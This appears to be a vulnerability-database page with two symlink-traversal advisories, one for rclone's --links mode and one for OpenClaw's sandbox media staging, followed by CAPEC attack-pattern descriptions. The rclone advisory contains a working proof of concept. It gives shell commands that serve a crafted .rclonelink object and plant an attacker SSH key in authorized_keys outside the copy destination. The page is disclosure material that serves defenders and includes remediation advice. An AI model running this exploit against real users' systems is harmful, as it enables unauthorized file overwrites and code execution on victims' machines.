Summary

rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote

Details

Summary

With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.

Details

backend/local/local.go, Object.Update():

} else {
    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
    if err == nil {
        if _, err := os.Lstat(o.path); err == nil {
            os.Remove(o.path)
        }
        // Use the contents for the copied object to create a symlink
        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)
    }
}

symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC

1) Get the official stable binary:

curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3

2) Create an attacker-controlled "remote" (two objects) and a victim layout:

mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh                                                 # empty (before)

3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):

cd evil && python3 -m http.server 38080 --bind 127.0.0.1

4) VICTIM ACTION — back up the untrusted remote preserving symlinks:

./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v

5) Observe — a file landed OUTSIDE ./dest:

ls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)
cat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest

pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.

Impact

An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation

In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

Severity

7.5 (High)

Vulnerability from github – Published: 2026-03-03 21:18 – Updated: 2026-03-19 21:22

Summary

OpenClaw: stageSandboxMedia destination symlink traversal can overwrite files outside sandbox workspace

Details

Summary

stageSandboxMedia allowed destination symlink traversal during media staging, which could overwrite files outside the sandbox workspace root.

Impact

When sandbox media staging handled inbound files, destination writes under media/inbound were not destination-alias-safe. If a symlink existed in that destination path, the write could follow it and overwrite host files outside the intended sandbox workspace boundary.

Affected Packages / Versions

Package: openclaw (npm)
Latest published version checked: 2026.3.1
Affected: <= 2026.3.1
Patched versions: >= 2026.3.2 (released)

Root Cause

stageSandboxMedia validated source paths but wrote destination files with a direct copy path that did not enforce destination boundary/alias checks.

Remediation

The fix routes staging writes through root-scoped safe write primitives for both local and SCP-staged attachments, preventing destination symlink traversal escapes.

Mitigation MIT-48.1

Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
